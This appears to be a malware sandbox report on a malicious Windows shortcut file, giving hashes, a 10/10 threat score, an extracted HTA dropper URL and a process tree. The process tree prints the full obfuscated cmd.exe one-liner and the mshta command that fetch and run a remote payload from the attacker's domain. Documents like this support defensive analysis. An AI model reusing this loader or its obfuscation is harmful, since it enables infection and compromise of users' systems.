Analysis
- max time kernel
38s - max time network
41s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 21:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NEPK7I.lnk
Resource
win10v2004-20260513-en
4 signatures
40 seconds
Behavioral task
behavioral2
Sample
DOC-NEPK7I.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
40 seconds
General
- Target DOC-NEPK7I.lnk
- Size 2KB
- Sample260803-1danbscl31
- SHA256 b0ae271d412cf95ff13452c371abb026866ee2ce56b77940397d5e45699a03d6
- MD5 20e2e882247b8f643766b0537e836bc9
- SHA1 e7e8cad64de51c54286b5f07c2a5428da4621a27
- SHA512 3aab434d110c3b8abaf17916d8ce178a0e6b69cfcd4ff22aec069c4571ab3801a9c1e7c5fcc756c1d8f5e5214d84d5393e10393409097f59db018ab3d46d0a98
- TLSH T1D34154802BED05D8F3FA9F72D9BE77158AB7B9A24D21C68C0850814D5422B00E1B7B63
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D1
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3888 cmd.exe 3424 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3888 wrote to memory of 3424 3888 cmd.exe 90 PID 3424 wrote to memory of 4992 3424 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NEPK7I.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /v:on /C "set bqN=nj7sj&&set rZwM=fkxtar4&&set Wq=v4tp&set Cvq=qzmsjus&&set LiLD=r2dhtuab&&set xDDAQ=igxaiq&set Fpi=oldimsiandtcbuold&set RtYKZ=winkmqltxstawin&set TdvkR=netjhmvlxeasnet&set tT=syseougktmmtsys&set CLUmZ=wintiljwjgilwtvnvhmvvwin&set tnhW=bakhcisrraualwlbak&set uh=netlbwwtthnet&set rqIh=tmpyaqgiglbptrsdtmp&&set Fgdnu=ht@tp@s@:/@/k@-doc@umentac@[email protected]@a@t/@h/@est@ag@io@[email protected]?@r@=3F1477F1539@8@D1&&start /b !Cvq:~2,2!!LiLD:~3,2!!xDDAQ:~3,1! !Fgdnu:@=!&&set qJLDK=done"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3424 -
C:\Windows\System32\mshta.exemshta https://k-documentacion.lat/h/estagio1.php?r=3F1477F15398D13⤵PID:4992
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